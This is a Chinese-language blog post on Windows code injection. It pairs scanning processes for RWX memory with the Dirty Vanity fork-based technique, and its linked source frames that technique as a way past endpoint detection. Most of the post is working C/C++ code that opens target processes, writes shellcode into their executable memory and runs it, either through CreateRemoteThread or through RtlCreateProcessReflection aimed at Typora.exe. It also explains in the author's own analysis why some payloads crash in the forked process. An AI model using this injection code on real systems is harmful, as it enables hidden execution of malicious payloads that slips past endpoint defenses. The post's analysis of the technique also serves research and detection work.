从RWX权限内存遍历到Dirty Vanity
从RWX权限内存遍历到Dirty Vanity
遍历RWX内存
首先NtQuerySystemInformation通过遍历进程
LPVOID buf = malloc(sizeof(SYSTEM_PROCESS_INFORMATION));
ULONG retLen = 0;
NTSTATUS status = NtQuerySystemInformation(SystemProcessInformation, buf, sizeof(SYSTEM_PROCESS_INFORMATION), &retLen);
PSYSTEM_PROCESS_INFORMATION processInfo = NULL;
if (!NT_SUCCESS(status)) {
processInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(buf,retLen);
memset(processInfo, 0, retLen);
status = NtQuerySystemInformation(SystemProcessInformation, processInfo, retLen, &retLen);
}
if (!NT_SUCCESS(status)) {
return 1;
}
while (processInfo->NextEntryOffset){
processInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)processInfo + processInfo->NextEntryOffset);
}然后通过NtQueryVirtualMemory查询内存属性 找到RWX权限内存
DWORD pid = HandleToULong(processInfo->UniqueProcessId);
if (pid) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess) {
SIZE_T retLeng = 0;
LPVOID baseAddr = NULL;
while (1) {
MEMORY_BASIC_INFORMATION mbi = { 0 };
status = NtQueryVirtualMemory(hProcess, baseAddr, MemoryBasicInformation, &mbi, sizeof(MEMORY_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
break;
}
if (mbi.Protect & PAGE_EXECUTE_READWRITE && mbi.Type & MEM_PRIVATE && mbi.State & MEM_COMMIT) {
printf("Process: %wZ,\t\t\t\t size:%d kb,\t\t addr:0x%llx\n", &processInfo->ImageName, mbi.RegionSize / 1024, mbi.BaseAddress);
}
baseAddr = (LPVOID)((DWORD_PTR)baseAddr + mbi.RegionSize);
}
CloseHandle(hProcess);
}
}写入远程进程 创建线程执行
if (RtlCompareUnicodeString(&uTargetName, &processInfo->ImageName, FALSE) == 0) {
if (sizeof(shellcode) < mbi.RegionSize) {
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory(hProcess, mbi.BaseAddress, shellcode, sizeof(shellcode), &bytesWritten);
if (NT_SUCCESS(status)) {
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
break;
}
}
}由于原来这块内存是被使用着的 这么写过去执行大概率会崩溃 但是无论怎么样 shellcode还是跑起来了
针对.net程序 存在一个名为BaseNamedObjectsCor_Private_IPCBlock_v4_[pid]的句柄

也可以通过这个特性来查找
Dirty Vanity
Dirty Vanity是一种代码注入技术 利用windows的fork&exec进行进程创建
常规的进程注入涉及到远程申请内存 远程写内存 创建远程线程执行
在该方法中 执行的操作发生在fork的进程中而非原进程 而执行的进程也没有对应远程申请内存和远程写内存的操作
windows通过ntdll.dll 下的RtlCloneUserProcess实现fork操作
什么是fork? 用于创建一个新的子进程,新进程是父进程的完全副本,除了PID不同之外,其他数据(内存、文件描述符、代码等)都相同
NTSTATUS
NTAPI
RtlCloneUserProcess(
_In_ ULONG ProcessFlags,
_In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor,
_In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor,
_In_opt_ HANDLE DebugPort,
_Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation
);实际上就是对NtCreateUserProcess的封装


frok分self fork和remote fork
顾名思义 就是fork自身 还是fork远程进程
NtCreateUserProcess
先来探究一下NtCreateUserProcess
NTSTATUS
NTAPI
NtCreateUserProcess(
_Out_ PHANDLE ProcessHandle,
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK ProcessDesiredAccess,
_In_ ACCESS_MASK ThreadDesiredAccess,
_In_opt_ PCOBJECT_ATTRIBUTES ProcessObjectAttributes,
_In_opt_ PCOBJECT_ATTRIBUTES ThreadObjectAttributes,
_In_ ULONG ProcessFlags, // PROCESS_CREATE_FLAGS_*
_In_ ULONG ThreadFlags, // THREAD_CREATE_FLAGS_*
_In_opt_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
_Inout_ PPS_CREATE_INFO CreateInfo,
_In_opt_ PPS_ATTRIBUTE_LIST AttributeList
);前两个参数是写回的句柄
第三第四个是访问掩码 PROCESS_ALL_ACCESS这种 上面0x2000000LL对应的是MAXIMUM_ALLOWED
第五第六 将要创建的对象的属性
第七第八 属性标志 诸如挂起之类的
ProcessParameters 指向RTL_USER_PROCESS_PARAMETERS结构的指针 用于指定ImagePathNameCommandLine等参数
CreateInfo 指向PS_CREATE_INFO结构的指针 传入大小和PsCreateInitialState即可
AttributeList 属性列表 Attribute成员由PsAttributeValue宏提供
在这可以利用NtCreateUserProcess进行self fork
NTSTATUS NtForkUserProcess(){
HANDLE hProcess = NULL;
HANDLE hThread = NULL;
OBJECT_ATTRIBUTES poa = { sizeof(poa) };
OBJECT_ATTRIBUTES toa = { sizeof(toa) };
PS_CREATE_INFO createInfo = { sizeof(createInfo) };
createInfo.State = PsCreateInitialState;
createInfo.Size = sizeof(PS_CREATE_INFO);
PPS_ATTRIBUTE_LIST attributeList = (PPS_ATTRIBUTE_LIST)malloc(sizeof(PS_ATTRIBUTE_LIST));
memset(attributeList, 0, sizeof(PS_ATTRIBUTE_LIST));
attributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST);
attributeList->Attributes[0].Attribute = PS_ATTRIBUTE_PARENT_PROCESS;
attributeList->Attributes[0].Size = sizeof(HANDLE);
attributeList->Attributes[0].ValuePtr = GetCurrentProcess();
pNtCreateUserProcess NtCreateUserProcess = (pNtCreateUserProcess)(GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateUserProcess"));
NTSTATUS status = NtCreateUserProcess(&hProcess, &hThread, MAXIMUM_ALLOWED, MAXIMUM_ALLOWED, NULL, NULL, PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT | PROCESS_CREATE_FLAGS_INHERIT_HANDLES, THREAD_CREATE_FLAGS_CREATE_SUSPENDED, NULL, &createInfo, attributeList);
auto pid = GetProcessId(hProcess);
std::cout << "pid: " << pid << std::endl;
return status;
}这里没有线程 只有一个进程的壳
当我们尝试替换pid为其它进程pid时 失败了 返回C000000D STATUS_INVALID_PARAMETER

NtCreateProcessEx
remote fork
PssCaptureSnapshot底层调用了NtCreateProcessEx
NTSTATUS NtForkRemoteUserProcess(DWORD pid) {
pNtCreateProcessEx NtCreateProcessEx = (pNtCreateProcessEx)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtCreateProcessEx");
HANDLE targetProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
HANDLE hProcess = NULL;
NTSTATUS status = NtCreateProcessEx(&hProcess, MAXIMUM_ALLOWED, NULL, targetProcess, PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT | PROCESS_CREATE_FLAGS_INHERIT_HANDLES, NULL, NULL,NULL,NULL);
return status;
}RtlCreateProcessReflection
remote fork
首先在当前进程和目标进程创建共享内存


创建线程执行RtlpProcessReflectionStartup
在RtlpProcessReflectionStartup里面我们看见了熟悉的RtlCloneUserProcess fork了自身

执行StartRoutine

demo如下
NTSTATUS forkAndExec(DWORD pid,LPVOID execAddr) {
pRtlCreateProcessReflection RtlCreateProcessReflection = (pRtlCreateProcessReflection)GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlCreateProcessReflection");
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION info = { 0 };
ULONG flags = RTL_PROCESS_REFLECTION_FLAGS_INHERIT_HANDLES| RTL_PROCESS_REFLECTION_FLAGS_NO_SUSPEND;
NTSTATUS status = RtlCreateProcessReflection(hProcess, flags, execAddr, nullptr, NULL, &info);
if (!NT_SUCCESS(status)) {
std::cout << __FUNCDNAME__ << "wrong! status: 0x" << std::hex << status << std::endl;
}
return status;
}这里使用作者提供的shellcode
https://github.com/deepinstinct/Dirty-Vanity/blob/main/DirtyVanity/DirtyVanity.cpp


现在结合遍历RWX内存
UNICODE_STRING uTargetName = { 0 };
RtlInitUnicodeString(&uTargetName, L"Typora.exe");
LPVOID buf = malloc(sizeof(SYSTEM_PROCESS_INFORMATION));
ULONG retLen = 0;
NTSTATUS status = NtQuerySystemInformation(SystemProcessInformation, buf, sizeof(SYSTEM_PROCESS_INFORMATION), &retLen);
PSYSTEM_PROCESS_INFORMATION processInfo = NULL;
if (!NT_SUCCESS(status)) {
processInfo = (PSYSTEM_PROCESS_INFORMATION)realloc(buf,retLen);
memset(processInfo, 0, retLen);
status = NtQuerySystemInformation(SystemProcessInformation, processInfo, retLen, &retLen);
}
if (!NT_SUCCESS(status)) {
return 1;
}
while (processInfo->NextEntryOffset){
DWORD pid = HandleToULong(processInfo->UniqueProcessId);
if (pid) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (hProcess) {
SIZE_T retLeng = 0;
LPVOID baseAddr = NULL;
while (1) {
MEMORY_BASIC_INFORMATION mbi = { 0 };
status = NtQueryVirtualMemory(hProcess, baseAddr, MemoryBasicInformation, &mbi, sizeof(MEMORY_BASIC_INFORMATION), NULL);
if (!NT_SUCCESS(status)) {
break;
}
if (mbi.Protect & PAGE_EXECUTE_READWRITE && mbi.Type & MEM_PRIVATE && mbi.State & MEM_COMMIT) {
printf("Process: %wZ,\t\t\t\t size:%d kb,\t\t addr:0x%llx\n", &processInfo->ImageName, mbi.RegionSize / 1024, mbi.BaseAddress);
if (RtlCompareUnicodeString(&uTargetName, &processInfo->ImageName, FALSE) == 0) {
if (sizeof(shellcode) < mbi.RegionSize) {
SIZE_T bytesWritten = 0;
status = NtWriteVirtualMemory(hProcess, mbi.BaseAddress, shellcode, sizeof(shellcode), &bytesWritten);
if (NT_SUCCESS(status)) {
forkAndExec((DWORD)processInfo->UniqueProcessId, mbi.BaseAddress);
break;
}
}
}
}
baseAddr = (LPVOID)((DWORD_PTR)baseAddr + mbi.RegionSize);
}
CloseHandle(hProcess);
}
}
processInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG_PTR)processInfo + processInfo->NextEntryOffset);
}
为什么不能直接使用MessageBox的shellcode?


fork的进程中USER32!MessageBoxW内部失败了 报错AV

这里USER32.gpsi中内存没有映射到fork的进程中

可以看见原进程中是存在的
在ida中查看gpsi的交叉引用

来自user32!gSharedInfo gSharedInfo在win32kbase.sys中导出

简而言之gSharedInfo是被显式映射到每个进程的并带有 ViewUnmap 属性 该属性影响inheritDisposition 决定了是否映射到子进程
参考
https://www.youtube.com/watch?v=Fpb4eL3vMgk
https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass